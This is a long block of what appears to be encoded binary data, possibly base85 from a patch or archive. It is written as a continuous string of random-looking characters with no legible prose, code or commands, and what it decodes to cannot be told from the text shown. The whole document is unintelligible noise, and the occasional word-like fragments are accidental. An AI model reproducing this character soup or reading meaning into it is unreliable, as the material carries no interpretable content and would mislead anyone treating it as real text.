zYS_%R?U>LW2}4n9JyRj*M={7lj?ses9HT|qXyIHrRvvOp3e6?8zi+Da{=R5Laj=tR zVxXVp?;A#t8!gQx1?241xgcj7eXr23Z^?y`+|F-l$?YP!t>40u+lI1X44HIVmO7@q zZ)^S!T`D*DOkk87$We`GIjX}{F2M_Z$)%R-*V#jCf=6<8t*E>nWht+hQ!6@ymQ6kP z#K%&^`L$9q^I6NJg_TH#m0FS(d4|H+PD z_6kd>Whrs0H=|B^`Bwk0XUTOVJE@U?_KJExWz)+cM?ICY>7CRuHKo)Zn8l6rBkTCS zAbB5{aeLs7s&S^DGMpNjv~Owza@4a?mZ)cwo1U$?H5PQ8cb63=}I8U1Vb51jINiu8I91-Hx{uIDcOBD6Y>u<5_Ar-=VZYv% ze&<@9{mx<7E2>rG7l~Y4tJp6Vxl64seixA=ZP@Q@db5_JzJzs3Eb9J{l8gMJ&w#a7zlR6jvl$uV?tOzt5^xz}=PEOe=MUMV4TvQ23rqrB0Y zQsfs!GV&A2uph}eDVu2Pd?gNY)U*6nhQfX?zpe>EJ|L2Fs>xAL^rKY@pKXg~H^|W} z205C=AV;$m$BVI!^R}`2NgHbpDfHVIE#2RwwzMoUNSm6Y+NAVR|4~}37b!VAB_nOB z{@Yk})y8T^e4xb2LzDt}h|Z?vo?)$rJe1LPZA@Eeo}J>xCi7r)Xwk@+Dw{v&5u^PLzM-Gn!X1vqbX#O^i0a;m=xs{rXw2z@Mwf#4oT_cRO698=DO6ngL0X^ggTF8^vOup`QJCx(z5hVEvNc3S|-#< z?cS71?cP|flufh#upZ6YqUGpn1bww?NM0J>IUDOZuz>yC2w2{p9 zORmlI`X#b1OUtN?+-sTji~A@oH#p3+I`ih)`N3{9vOjrlYo>^)L_qkXORJ})-m zJj(4wF055pQ&v9@a*forOksA%FziKA*iXorCgfpirmZPGl;zSo2&bg*yqQ)WtaG)` z?o_Ki!(JrmbLkM%ggi{m{AWu3ajsAY;gkfqL#+-qI)tqZoetTZ!*EIpb+Tl?qV-c{ z5A~U!NYeSyA*Km=n3`#`I)wFU&c(3k=or?ISxK}kbwxQtc7?j$I)!1>n@CdU2uYob zWbv?`$+cD1k7ctx%C5txACaVP5t6zU$>L#slIxmg88htq>=K4iMv=n$w9XsGplqU} zOR4JzDWncX(&yFsQg7r@z15KZsq5!R^vSUAi3I!Xw^E;xPFN?@3F}1bME#*KTgTMN zMLmlIJMC&k*YaAH(WBeQ$wNkz2TEZcGMqdx9NG_Kw4K80dB{N6=rG1>TPvECwJbA@ z?qmJJIU($C(Oe<*R%ef}p0heIM%Od?JVT}*lIyYGKw_(GUATs2|Fq zepI)ZWkb2W>E$>Vau&@k9gGz6XddWbB<9W9FSWP!T6$)P#uvtWICF5kn>oa5Z+d|A z;ZD--)RA`aIv8zJKVk=?+QdLdv?HCcT+}gk+FRFd(dgCs7`5RD;P^FT!7DU9Bhm?N zQYW%$w6zXKs@RDn){oJSbV57SF?Kpsvx628JCVftH`>|`V?sNT1RY#Wg*DFea_y*7 zNB8rv4}>!NS3lulUyC^A-cSzvNlGphu1CHl8+~xhGok*Gwc6EeY02$G*5lNY4L`D0 z+nOyR{kApRimbVDLK2l0M>T^j5=Zbhn1EjRiB_W(E;u-z2yHq=u zgmA8idmYRQ%Jwxo11*bn$av<1roPuc zoN*xIt3`~Q*}&6t7;RMw|7PniITii)ULrr$%Z&nQh5A8PR?iX;X5CjOcDq zxE_UJu16*&RNj{B*8i@-LFu?_~BH zSUc=JNvG(%B58fD4CcHd86KUtvzZBM)=!PKtiqIhK%XqmKzbaeBz%jxH8!Ecc`ww7 zB+O~n{l=Qr?l*Eb6z&O750Eojvb|X+;jYxk5$7&j*9rRrRtclev}SLKw2@35&1t=k z?7nHej?8z$WewF_&tGAF!Wklz!@3Rg7IEg&=;K@wXFhdb3iBDxccGndZxq@I=S|@{ z55g^*;XJG7la_V#*rQxWW+{;)j_XG)!wzQ)-8)3KcsRp_Je=XeJ!c&~ZYkH1*+S%q zYy)!gbt%RC2MOT*Y?@#VPEfC{UBsHWj;EsJNGy)n70NbD!(-m>ng za-W%UO-buFsMX%A%YOY@(H$VKu%^t~SmPQP4akwUQW$r-{aJ#V)_wzNWrU+1^fh%D z=A2_DN3p;;->riC?Sb<}m$+0>jqSLf(lB1ye< zHscpNDM^7k6bd^L)p_e;O04tNCCZyf+GhLgE@tdw=OrnSf1#{5Lv>k-Obx+ihwP$g z4H8M)B$s&uJ2gq6wPn3aQC;>f)yghcS}0d^&86$4i&b_>p>?F!pzM(yv`bO7vKK{V z7fH%qWR+b~pzK0**&{pXC&ksuUL2KOBq@8bRdz{%vI|8WLN<2vc+|5$_jsv2XNGmZ zlxt1c%dz*iIqo+ajy=EZuApPxN3GE^`$%)Y)QfhC?0dMIpl4F{8H{m}bv@%+g>gD> z!hK5zc@V1CL_J?J9~muhE(v+j?k%)qc2fFWq9fcj5%t-{ zgm9f}^Ufv|_L=BjQx|)U#+@EL+pzzHlIai8eWW6L?apQhvj_Wzy;f!yhbuYTH%ah3B$#u-ajFK%Gd^<;AQM)w4(zM=wPg$#s9#$=JgjH(u%6qe?%{`hAe?9QTw$(9+Gj>{ug*_V7-svL7+f>jIvl|| z%r-SKSo8Od#$bDMbtGl)6rEQjDP!m8Tp~$Xxg%^iomLbhM zRO342={wZI^(ZxRIA(R)PL#0=qa8{npCJ$PsqaclT0N$X9FB0Ewln3hG#(|B|B#3I z5AQWe{cyC49oChEbiMIzR#JTmWMv;$K*4bKW0%SAgftOZyZ!d-*j*VV66$ai=3b!&qWK;SP?P5PxpZ8Zp*8RxHh9A&3V}H{!2lTB`&y)b1 zvOY7PDlq*@_j1$6us=8N3WoP#!gFzcGWrMfsfApJ;gp1Ddbtvd9nsNYts^nq+lMQG z?2)jpFw8nMF?ubWuKv?o1_j{o&{U_2vSaftuWIs$x`#NpJLw$0skLz5yTGsW0oopE9p4PPYmwET9>TQzUdtZdrBpFXAe-`^gM6>+L>94 zJcVCeQ}|u!(3Q)POr}))R#oV@K$r(wPvB=ly5{CB^tCGW_1zxpj-Rc1ezZZ4~I0<4=hK zeRA;Y%?iIl7`g>wXS+P~$}I{G_nb`h%qc>$45ooQA_M>W#9U-jH3-WKAby5ST66Nq{`M^m+fMdprp+62?Y9A-L{Y6ufL>o{G6fd_5;9|NJh9^ zBtAY(Zo;Nt6$u|ENp#-=J4X0gIkoOLU?&S-UIPN0?guzdgQxwXOj2oM9M6Z>=am{U z?M5B`W}@rn0#JW*B8<^(3h^p<5BlXVN}8fD{vP2)uZIO#8Dh0cxOzhh)+ju_A-o*c z=#2g*$h2R?pDm)>7#@5C$?-FD+8O;U;cJDP0e-OXqNl3sH#T;j4!M$Ne7hSvpI6sE zN_hDfqAwFjsj=gS4P){%&e##IT7(}QnD&)rg z%|^eq)ISFv+@pq{8-|VklfsM63%U79&yS7%?qPlo>k-D+Kz3QrYflLI5ZP<)DSYW6 zp`OuiEPT_rkT0$i9*-1mhQ?(Fg`EEbm6ZxuQlO$o)h$YW>C6`G4f~v*T{kp_PX^ze zok-q|*7FJz4=!xmeeBfXQ>T_r7%{$dO83%{lSY+JX+Bboo!Wm&>FBZ3i_7{>8acdd z?4*fmO6l-X{U%dkKV(nRXTmB6FX?kl+x0!XO)$4eE; zXAK&THc%5-HKCZcu>B_LqMDRxbq2NWeoVg;jEYlRy(dmBn=){6>BzC8$Cgf+%Bt=+ zxpd0#iK7OVqJ|M1+OqA?5o61SmYzOz{G>_arcHKW*@*GzAVb@>q0-oiQzxpSz54d+ zTHJSNzn(n@_82sDP;uA3J%*~GL#LJvA31L5$T8!FjvhXCyc(tZm(IYnk-AfbJ@{Uk z-#IND2EVN;bcNFOUH*5O$I-3z6lV0dxjZzlN@Sjk^f46Z_K`tk_zaoXTRVIk72p=g z_%`}=CEwpVyrZlG*|vCBiu6FpgS3~`K9KQOc zkbmfMSvP)ict=?`c9(k^QU2G3cDlP<^iOj5YFSUFIDE#Zp`DvtF6+#_4&Ua575#w2 zSIau{mBab1r*wg=S5f}O&i)RsC+kvchtH68X{y6l%er*2!)M64bfd$K{%sC7`os1L z^K0^H$~D#Drd<|0e4Et&T@D{4_3*aCO}P?#S3j@eZDRO9hnxOZ=J3_hujad4`okR# zpCRr3sLN$seCY6w(*J*Qxs1Dd`&2L2HsP&ZF8yJU!%h8H8&}t#A$A^g_!8Nded_SH#)awMXp-K}VNKKX_OkCY z^|?**bF{-ve&)0b?YQeyNW*ratvvb6u55pGdy#jP&y$;-AsPK(;j(;1`s0P0J)qHF zE?lOWNPmTJ={^x(CEQ&58#}9o=OYhvhOZS~5aNhGCcKfu*9(_wj`W`q-onw}AiRyk zUlv~I@QuRF8z&~8ZwW7Q^fw9b?(h$VmpJ@W;e8$ch4B6k-zX0acNf0Q;U&WFaCl$g%N;&h=7$vy zUm$#y!xsr(?eN9I*E;+P;g30dh4A$bUoZR_hYu0H!QqpoTrWGkO!!8Jj}bd>IefhE zO%5*?J0Ci{QuwD1pDX+ehnxD@>~K^6-#L7c=g=9RC-XpUhkq#gc@AGH`g=P3CgF7*zD#&Mhu&tY9oAqUe z!_E3q?r^idR65+OFLNDk)|UkiH{)xO!_E4#*x_bJA8=n%?=+X^XhjFze(z0 zi^I+Ovd!UUe$x{ns>+P(uf$FUfyF-%p5<^e|I~K)v!b8p@O!0PykBkGzfX8whd(I1 zp2PnkJm2Au3NLW@6T%xg{AuA$9sayQg?DuLyTXec{(Wy-ErtmQi&k;V} z;R)eU8UZtjy#cliFIKf~b-gqJ(~VBwVxKUDZ!hc^+vz~P4rU*vFe-*&OX z+ll@a4nI=(5{GvYzSQB}gx}=wUc#3-ypQlZ9Ntg(a);aK z^M!xm@V>$~JG@f(cMh*9e2c@c7QW5lcSybA&AV#jYw4b0IK$y9vGBo;epAWM5Qi5?Jq&aB7O96(4u3|txo>LDJ6P+ z;g!P696ne0bcZhxKEvUQgqJ&fvG7WVUm<+1!JeAnh;hi?>qg~R*T z3+rKt!v_gp>hQtBZ*uq$;maI8O!yrRA0>Rb!&gW?S2+9%;j0`zL-=Zk4->xD;oXHl z=I}+tfN(11CQ8NZul9dWN8 z&2t>8`P8!}lnoz&W7(AOIL1g*O2-dx&W9#c^HIaghO6cyrcPDOHJvgkBqJx`*^P-% zm^i7dw0W;%j%%jhuNSS-F+)dB89t#@%J!ce@{yQDuIU&ll5pq3>JhT6Mv#xKWWX0i zBou}{7h2pXhFOg~PnPJ(@_^sF4Y_m=iB;-6=e#CDn#Tn7?^)31?@iwpX=#(~YP)hd zfBwSiHIr{ELFU^|>B?XDN|N z>mV)2Z3n)E=%%Mlx9x${#;3#dGach@`MHftm;Q<`!}OzR%yMq}!`rmUw_OV>5X#~I zwxZXzP1`mh8J2y1kG?&9dB2>e@KopR+K0S+3;&0%NFR#uj9EgJG&v!!}je; z%e5_^eBd)O#H-W#eaiTfipNSGO*AM{Df`7I6dzxFT=AgZ^PV|wVBdL9m(2V5{==Yp z^t{JQF8G3X^!hIBThO9p-k^fIz2`43$U{YsDw&_ruo3Oet1Orcm6mJ!&U?OOURgn2 z$-E&2`QMh@UNZkep0Q-slVy!d7M_(=@`SGRk|!>xD~(xF@yV8w##=9VI3M8QWPn8T zdt{U>98{3E%umc(0R3ediCHhx%EBXF`K79=SYMx&%zGUt)5V#!Hc`p=#C??on{aHr zadgENe{}J@9x74Ehb0lrm{wXce^5bw$^7mGb&k|~ud!e}Ey(}HG5NAm==*}uAnZHC=#;B6k^>pndX7Pfs z^tuhT?gf>3m%3Am6&xDGP$m@peqygK&ciUK;Cy@v+$rh$mhAeE1vLsS5(zb zR9*tblKCqNrsH_j!rGk^E4|9KW$$)ukeG8gGLTrgrDSBs2TQznt3F9IV1AGNxvGj4 zlge!JY!qR1SRT8QrHU&)L3GK&V^Osm60_f6U_SatdB@yDV)5GY8M$6nV(}yS8xoak z5NCQ<@e`E={LSTQqgtrqC%PA8U3L(DMEQw~f;Z6fOXgn^_Nx~Yl_kh{@u~#!I=cJ3 zu7i^2z{n!Db6#=zmimd6ed`7|O;LGOqA0QWiK6mfzQu7}k6BM9Dvw9f@~uDO><9ky zz#o}|j#dsz9xRXogZ1TM$}=P-10eK>(C02GX zXoD^|t9>TwY3_=G#^A+s7Ze<(kBbZV1IN^FisLGnQpxr-+@Ks{)W15FV|Gqd9)Zqf zx?HE}M6;NSHHD}f!;|NMJp7qozV)ZX;)f4>%2e%pcz)0{u2gO7R$_IJ08ilrZ5#IvV2_W(SAS zFk4nbh0)hqc30@3xbQr$@BGT|*jJ0@uGT2AvbR^UwRi7%=!nhGHVaSxuHu&v=3>ES7q1-1l7IX|#kze=J0`m_?IPrR49>T( zgg+cK(FG{mYv>!fyA74X;PuK z+n1fmI-hoA@xz~HAV0+mmp=gguu5-78pIZ!`6~XmomyI4p7f^G={s+2$!-dLs`&f0 z<$V)9&5_8=TV|CnZB=G&MV2R9TFHN5x?eNNCLfSYw8;x3 z6KwJilJPeA8_77ETupMCP3DmtYLhcbn%Jb2q`)QvNt)WEn53ai4ku}3lLJT&u}Kce z!8X~-i92bNPe@purgtP?A^F56kCJ?Blemj3wbER&@3g zNVt88NDq=dZPJ(6K%!se zq0{%Ce}~=z$E~NcunoM1HJO-o5Y)L!FK1}w;(~?PVhZi6bZ3QWcr zn%n2NxdV^K`c_$R1!Cr})}v=`x4|R_BJJF6f1-H3PIe;2^%N_(p=Rht9dQy*uI6<~VBssU+c&&hK<4vLB#jA+>aekGYgr#OpmL12p%fq;V+r_2QadE{(&3GC~R6g@h9om8buJ+!< z`O9Y%v^h0VITf|Krmm`XBpG(Z_29_+qKdy`A zJm-A$Ea?@fvE)Z6y{wsu%1MZ;wr(a*1}R=uBi~bcwd0E3j0*pVJo&A7WUZ}{uOlxwCilWNi1GfjM_$V)+Q?EStVIj z2f0mD-i!b9o@=~r)|2x#Cn}p`_}tI^gZJ>fa6M0+j5IC3kH*yP?1C6mXXatgQ?V&1 zsn`-EX61(&O=YkLrr|Z+@sGLe#3zUnb2#;yjpco9ij!|5T#>9(vGx4KoI5t#IS;qD z6`$6q*wQ31XOWKE4Y|V3Kz5^Sfp-(L`Xj%|vru2F4n%CSHG-Y0Fr*WeccNb&CZ%^M zZR6z7(K=0X($^qI+T>)C4mRmS(%vTRLCo;Ou$va3qoK{Ns+Dd z!xtdMHu(r-)e9iWx#-ucHc&c`(({zcC_P8%G)m7>8b;|EO2<=rno?g%Pf_X$X-y%d zsIOG;ob7CKItkyqh;)XMu?PU**QAaOlSZl=V=Dfuy_dnmm{>269dQsPcKxt`Kpl-5wXlhO)Gf1`98r8_7s zrF1)`%PHMPX#u6bQkqF=8KvozZlyGl(k+xmQM#GZiIkR7>QCu9NQmx%e{xSsS5wNSbQL9he?--)D=B@CYS&LwGX zlW`=tT1;8~6G;o3^dfoBCP$ELvdO_D@7kme$vZZw;;p;4ZSp0_TQ+%<(Aq^nIHBstI~e5X$S#6UWNglMxpGh9D$@wJr+hhU>_kmHHo^O(1vMa;Hsh zCHb38E+e_aCKV*N+vIeT+iWtFg!|7Zhewkvv&oSpx7wsJ$t^b7hva6P)F8RZCf~jb za-&V&Be}sQ&y!qllZQx_+T?bU>uho*$+b3_LvoExrjabM$w-o`ZE`FL_rg(abRprM zI3mqRuCU4eB!96Bp2J{ zERu_Caw^F}n;b{7z$V>D=G&wt$%Qs)Kr+uJyOGSb$xm;C%&|$5WVTISBbjBB$4M$} zaxY1RO|B=IX_JddF0jeDB;__4M{>SR{zP(~O?r`>Ym*~LX4vFll5=cQhvaOVRJ{c< z)+S$)jIqg^B&XWsNsv|SW6AMYOIEROB}Y(VpGpp<#J-d~h7$WwvO6XAon!|}>@&$0 zl-O62hfrc4N!FvpzLDIW68l6lixT@n@)ykBtJnvU-%(=QCqJXaHcxJ%#I{bpN{MZp ze1;O+Hu(r8wrO$|CAMYqPDh6bV?sknn>w=N~0+4L+M0H2Tw5AMN~Nr}Pq~zLdB_ zOLm1+?fT!`Qf|ozHn*9=O+;Nru=U-DDo)?*3~t27j9}kzBc5dhyNVmJf)VUFZp77$ zU`KKzW-@~P%8eMy2zE0!qCX?p>)eQTj9@2pBkD7PebSAn!3cIyH{uJ<>g=&@gkH4R zf!&A)n1cP;jkul>?A~s~Tt=|ByAhKZ!OrhS9M1@j1vjD-BRDkNhyq4%q_`0|jNrg= zBmT)bo#V)jc%2a(R&K;vMsSq55w|kpn=}y@F=BI?h-r-YI!(k7Mtqefq8lT=OcQY! zBfdxzp%<;s(?o3Hy7XC^h<6#0l_p{xBWk9J_!}c~(?l$0M6)yz=P-g(xLb)M7{OWI zjp)q?E(C5w3r29Qa3l6%1Q!Q4;+Hq8s(^o!+g26)Tm5ZSRk0fX!)eW@+tcNDn=S>P zL)5Nmc;Lf?c347NOp({tN*k|2YZ8aAfi(K-9sTt=)zfb_@seWmz7j9tElxb&y3{T@ zgM|6jljfvATlN>ey`D*srk%E{uc+K%qV3`x>zfZW#@%D6xMc_Nn}@sUOjy$IAl_)} zW3~FI783^2lwaxco}`B0dzw#CL)9?loUmGXPgK=4OODM@YH8|B0X~(nyK087qR7JM zhYnY6d`c5iHOpa)oBlKPx%xtVsWz)`)K}_jRgmFnMPFs(^A0uC?gxeGJUpzin?hbv z&S}T6oT=y?hTYu#s_@ENkiTevS!a{d)~JS3fdS~pK7uF0vrE6n85oWa0+1gMZ*zX8 zj#myRz;jNfquz0%e+*>m|5@yuF8nBm&j)9X4uog=eEeg&nW8@cGQ;F_Um&m$$3E~p zZwq)v4Ho^Lkg0#5oVQGPSBKvqoM~;c9U;38x)XuAjhXS^6eFd>n=6r-!H>mU3N! zKtqJvz-J3*egh1Zbo%^EY&t#~oawomGe5M?^IV00T>4%9PK=$~WB5HW{8HhqaSn)T z5ii-AuMQQj5a4sjtj;VjHHg;510D97JRof{8Vt(yBTlg2;)zkhkvwjI6TATbXVg@ zeJ=5g--OICYBv5c+ytIsa=O0@XB;{6L&tfC%;l?Mc$UB4c)^D5)3VmR+Cq|=`k!(WTxha&&!?3@|H`FYxO z`lrBtx^k_J;rviTI{jfWe0dC~k#u%?#_$C(yqn~67>;(k+#JLI6~lW-K3zMP#qf_} zcoWH|Yv=SBz9NQy9mA1*U2m@a5i$I+7`|sr{zt{|6)`*`CZGItG5(aBPwwy1@uy=r z_sHq=`F>A2zA1*ch{=C>4BrsL_m0WukQmNSN~Fu@+cCU(O#aOtb{OLAeqMqw_b$WX zxv#8)eI2)Ux5205KgMwWwop3#t715R`zf7%3zRDzKO=_UAH(^bU+L^{d!3GtiQ!Mh z@cm-)e_9NGAckkhh9_e{<3Y^z|6W~$h>U88ENF5Wy`Q;Po^!W`S>3G{1eq;;CH?LyEV{g-|lq}gKrAo9KHp7EBH3>ZQ%>yJHU5@ z?+jlA-xa<)d{6ii_@m(a!XE?QAASJ*Ao%0q2g9ETKLq|1_+juP;77rah93ie8vJ

-^u>8AicJFkXUYqyLy-hAurci!FfUW?4;iJB@51>D7G8AmqCa19>Eg>S|H~CuUUl`7Yp%U+>Ge0< zc+<_d+`8A@^fCSVAKR*R zn7;6fiz531GbA+<*RL#M`}WTBn{+ z>(!HLNAXXor`0p+S@oQHUTsh>s29~s>SgtcdR4uqHmcXvRqATBL|vnUwp9 zx>4PvZdSLbTh%i4*B!>+rfyevsK2Q@aR+p{x?A0&?o}()-_=TWpIW8v$Gw4b)C_g5 zI!~Ri%GCvGrmDd6F0=3q)EqTe&D&x8g?P$l0iF=MNL`HQYW|F8xh_?U@ube>cv|fW zb)_1BC(Q<_LvQF{&5WOcfls3u80{kwRUyZZUlSuke`kN;l3 z=??o}XeItJ*jB1Fo`pL?wZ#*Cg{nQCCp=PhRGsiG+g((VD&9eUx38b-x#zvLe?NYH z>-bP!U7o_{bX(-@t)DH-^7hcj5*$M^Ovms84(#)EVGK$5d@}V8z>{%%sXcYP+pFAh zX`WgR?W9tgry~)Tj6~)5q!)ZMJ&;w%4eh&+X&wyiu-hufB3q?5KTr6u+bPM;6K(sH{2}lCki4 z=q!9QoR3@WzRFQ`@cRPwRK7Y;Yq;(BTf=U9{nl{XL!`q=e#7Uo!>6%pL{DZ)Bo1zT zb9`rgCZ1}1L%pfqQg5qG>OJ+2dN)dtfxG=YLwMvJbV_^{R~}r9G>t%QU#F>||NpZp zPmXo;@zN@4JgWb1uKK4Of6&J)qzs=Y{iX_auAk84yXI9@Usv%d*Q%<``nW~^G?$ND z{I*+^QV}=~7V1wMle;$1~)`6Ulmr{@aqEso~iktvH4L(n8 zshW%9&G3)IZ>rja{~y6m$8+|Zar_qkNBE!Mx500&`mySls-GeKqC?+8=Eq((SA7p2 zO86ciE#ZW*ZYE;(#LU6m;>D_~<}N^EWa&0aAJ4a&vQTceNV@b#N<3RRUHmAC&xncV za~`zMwoaFR5ptY~_?j{C*GPP3O#E#UpA{2-pTyUSi9Z|h87O^rO#CbzA7EUk&p-Do zd8z^4yY^X!(5~*z(Dh$a*KoS{F;HjyDfv<}9@CzA^E=b^B!CtLM_6pW~nHvwuuH--paZT)mk1{ZT%~9}pAI z9Y7{}PyLv9KL5z^(I6&%H`uRf_)!x z1u^m0AU)$7#>98R`Pu&t(ec~&KR$QF_(NmTcbEEWgjPz|Kl>m(`)^~!V~#*>tGj*( z)r{4`b`tOni6P&p`U3nE1LVKjVvI;`v-|fcUO4@%JKsjPDi` zzdz2;eOC9F_}NI$_#QFwLvel&@jYYW`5n7i7(u--hjWjS&T;-M3FEg@7>x8B|Gi-Y z`^@d)`Ajv(?@=-F{JDdCtS)`za+O&@7xxBatpiW7In=n>6+WWcW##I50zom zgS(YC3A*OyUF>(wt$R^`Gz&Aj<~CYTqkC?P*)@xE3o9~@%iRzJJ-zJQ!s6T(#kq~3 z16`!)nw!;AZp&y}>HZH2D3LoJnX8x{y|2t4iQ^Rfi)t?+<5Ga=t5 zJas0Pcl&Fmb47m>I}#j!%*VLE%BNv-An?3JlAlHrF< z-6qcyZcfYn068{n+8KR5ugUspA@+GyMt2`P^*3{)184LfgiQT>NB>dHYp6|*{u82~ z=jcB#`Wqbmmqg!m36mdw9*Ox`EBew5xT+2F!!P-#Gy0!Hrv7qA{~OH%waL-{N%WUG z`W*Qz?*>OdNAntLk)vNn^w&E2oNsA|&!N%rDwvL!`Q*!m`yp0G25P7n@TJ1# zp!ggu?UW11*Qt~mB)q@y2EvyhO#LF^rhV54Zy}u5nRF+MoqR{1`z+eY5^m~$obWAD zAk$t`gnugB=%1^34OK4nSvx$fnkRg^a5L_%6h2wFsUPkO*zTi+OSaVA!bb@=^~~!` z>JJkx-Bdj+JYRT`68(J9zf*IxujubC`~|VUNemc$KL1Vo zi$vedZ!eRk(dV!Y=jSk~zsS+&kB-rPf5-l2(Ko*tZPp?_KT7=;j{dun z|6yX^^q-{g{=#MYQ~Bsf%ukV{KSX#7;imq75IgyfK0iOn{P5RQ=uH3FUF>9uzUgnr z2>*o(3Y@Y36$IvIvv8w-Fq)A3V@JP+)XzpoKSy))f60&Ow|j~HdPkqn@iYJY94?*7 z|0c#xr6#j^#KUMfDNB>66vHx`P^P1={7kx9IzbAZ|WB+U6OC9|tW+olV&vZC{YMSF>hQkvwuTB?^YSgZ|nTH+yW6eD5=$|KijH7>-@X^9CU1;}~@L`Vr zZn7WiFI*0aKiq< zHDBV3MZa9aW*+M!`b$N>Na6>G{xAvacd;R#Ec)e+{gI+yB>HmsrzVJgkz;?V=;w>R znTO96{d~v%6{0Wd{3)2o@qM~mrt0=4mH*II9c{PS_ z5j*9gtnZIN&cP|u**PGFH;>_6V)&pKJ~oD*6T=t8a5cEFZTGQLhfkeaI$^~4(kabH zswt(zN0m-t#K37I29%!Kd(`y4W2cr)B{{kq00N~`x{YTV4S~9sP94d3iepEQ4)w>6 zKVt&G#Ay?zHgDDXh<2^j)Y4NYluj%YsJab2VNkb{=0~(sy#^H0cO8q<;5hV{egk?8 zPDz>{->0R57r7PWRwB27+(zWW|HIz-z*kw-fBbGv97x`)A!1Qpbt);^Hj&8uv&jY* zoiYK@lG?`pu*uza*}a4LuZC>0HK=K1{>pw0qeA6pRD@WjQ&F(2$kZ$?XIgIIA1X5> zi{Iya&iDJ==YDq&4AeB+^V;*A?|Gl^`TyrR=RD7z3)zMP-HXpB9~Yl5evCcevrjU1 zT*a@kPhmTyqY!VOl|@WKtY|bnmy)DQ3A^M?2FshwA;N|PByBc9lR1Xj#naC(zFV@fn5(tVIyL{2z%;tDKm6$ObXbk8sQ8?Vrkn6R$?&=7 zL5nWNHfvfbtmf*unv|X@Wkmr>YFHAV`1x%3oNUW~+N{ZwC^fhm_vw(38g`vJ^MX0E zW|o-r_++C=evC)YU)hqnL~U8Td4AcH`E>~sN-9cfUNCcZsZ}5;$-NLx%|{Srbq!@E zBNxmpyrit6p-ODxdC2O?7^I<2o@Cps-(_|wM*_z=Q9U9Pa!_cz$xN#@H8_*$JSAgG2INnt)H5ZYO4{$1 z^lK8HblOA0rJ#|~A?YXMpb^XZCMn5>SZN%al$fMrNQqE>lW{vTY6e$dk1V9Y-{0g@ z>t?X}USp6B=tzLSeK}MLxiFp1drd>?xU-iOY303!URdNW^}Us#QZ}K_nms3g)5_CI zr{vPeJ|)-K=g!K@pK=Mt6Ec#-0=DO$HkmZYND>R!ep()GJF{?2+LOatOMN{J(R44f zN@<;pPfRtSin~JD^pct96qc0DoHlKC@tm?bh3AwMmj#m3lo<^*jb$^SnTlwxQnsKv zF{2@#XlkxZ)HOB)s;Vm+tE&Cv{HbIsi&rOR#>frf8UT+Tm>H{XqJ}#a)22ivIDwh_JpQRu-?DkCazcx1^By74hmoSy?<$QMs_JvUXuvO+{Ulrkbbne3RBI zw04N{1pF)?r?m!sK$eafK8~e&U>+}|F7$B<=OzxPjyb7)7pH_Xh1b)>H~9EyUN~uf zhL3;Wr$3Lmq+i0XRD3)ym@ZR%Cv*DV3>`Y&n+P!92vfqR^*kM9`1uwe_owrdSP#=d z&h+d`!dc|tw>tPk4qkwDFC9`2S6OSIj=7Gv)4^|5;mCW%zi{Xe__#m6$6?(|hmQAC z%q5*2T<)tBA5D!5$6bza{^H}b_LcHH9P21Lbi5}!_&E+9b?}6b`|JI~SpP`8{`8#T zHGUpmyi4V>0f=^KVD_>eL#mZm${5rEj-?>RJ@AE zqp$nI@%P_*9Q;WK{~+&U>GJ=GgP+5jM5OP}Z#8o-{hZFbeER-$KI`NDa1P*oZVBfp zZhuE9p2Oqg$24dCXP8qu>0J$}-|ar`PtSF{;i$`Dr-P63JvZ}*Gv2{Zad3IgspC!X zhN))?+#_;U{as)J|K zKd|A@?fHEUKGDI?a_~|IpYPxa2fxUCpB(&k2S0=#)aiB`cJO=$FLLm?4qofvS2*|z2mfCO zU+>`eIryUv{znJj>ENUIMO$5-;~o4I2QP5&Sq@(1;ENr+!@74&LP8Z4Q2egRgb)A2|5K4*oj_-{Ihy{35R| z&oK^uyn|11@N*q}o`W|yIR5F{96FuXJNOz0-{|059sD;A{(^)5%fUn8^yxpw!6!NR zGzY)L!7p?0s~r4u4&LM7-*xcK4*s}<_dED52OoWOz#O_ge9*yj9sC>zpX1;)4&LJ6 zpLOt?9Q<|%?{)A;9Q-*4f7QXWk4ayi?{n~p4t|z{mpb@-2TwTowGMuxgWu}lcRBda z9K6rL|Ki|T$EGjOu?{}L!B2Pa5(od3gU1~F8V6tH;NNs`^TW%?vhI&RcIZFl;4e8i zf6iu5_=n}BFXtQwpX}ff2mgeFM;-jr4&LqHH#_(S2Y=APpK$O$Ir!@ie#mj@%QNiY z`3_#>;By_k*1@lE@D&dJzYhM~g!K9Pr-P6EP9Q;xTPdNBW2mhvn-{asRZ*?_oZglyQju8s_}C#^Y<5%X{6Tzm7R?(|Y>rne#S-$2Tw! zn^=?aZeq^Eyr+K?a~}3QF3-!j*gXCUmqV@!U;giGlH&A#b#zRzh8Ku6PV9Yd^Gb*6b~_qNMnCoW>YyXp&Z&Q2<^G6jwgZUGR7chTH@gnAZibt3~ zr+5kTe#J|fzo7UW<~tO>g!wCq&ttw*@p9&`D_+H1{%=gi;acYO{TDif%lk&zipN-g zwBqs}lKkJBgww+MW0d|?%*QF-%6z=yZOp@pcQDUUdE$w<^_tcWlrC>@t6NP<`Ko$GcQqm1M^bFH!-L08u-J%i}@vr zA2QPF%~Sj^=H-fyWnQItCi7awzsT`M6_4?F7*kxv?S$ejtly&eRm`ta{0X+VD*hDP z+Z69(dxzrBv3-T&{cP`6`~|kJQhW#7Z&dshw%?@qPPX?b{yN*&C~i73s&cL3G7nj& zxRn2T#ijf=C@$r{NpUIvyA*Hbdg)cXjrnH9JD6`(dudT^HIfbWPNED z(tjtBfJ54a@F~otT?m)=fTdjsFJOIX7s88}OS=#rVJ_`LcnNc97sBOx6w)q)&tZLO z7sBcLQ08D$xV*0{?Lv4t>&g67colPbFIxCEF3%9V3xAaP7{#ApF5jgP{RHccSNdTd zH^PeNFwaqZ0`m!qPh>t(@m%Ke-41f5a}slD7s977mv$li4Cc}@8yAZyCxwH%6GOs9Sci}Rxkai(l%D-0W zM>+jb#kaCOruf5bmv%u`I=3-zVN>{{Y`;qJC)nPq_)~0eQ@oGu9g0i&uTWgZscywP z52jiV1Xd}2C39&PdC%b545a4uxNM)9f4rCmrkr!kjyA^Zg9(k_G_$z0ln z@PnCeB7j5qKSx>nU5dZVyjSsOm~U46m&~PINcayhmv$li4(8G>gx|tk+J*41Fqd{A zd?j;f7s5ZoypI45;ft6*r+6jve#I|h{(|DuneR~iqs(7X{3PZ(75@P9*A)*k$G`HY zq(6gsmg0Zq`I~&Fih`r_56tENA%s86{W_$=nab~dj#2zYet(g^+en9m^EC7EivNOn 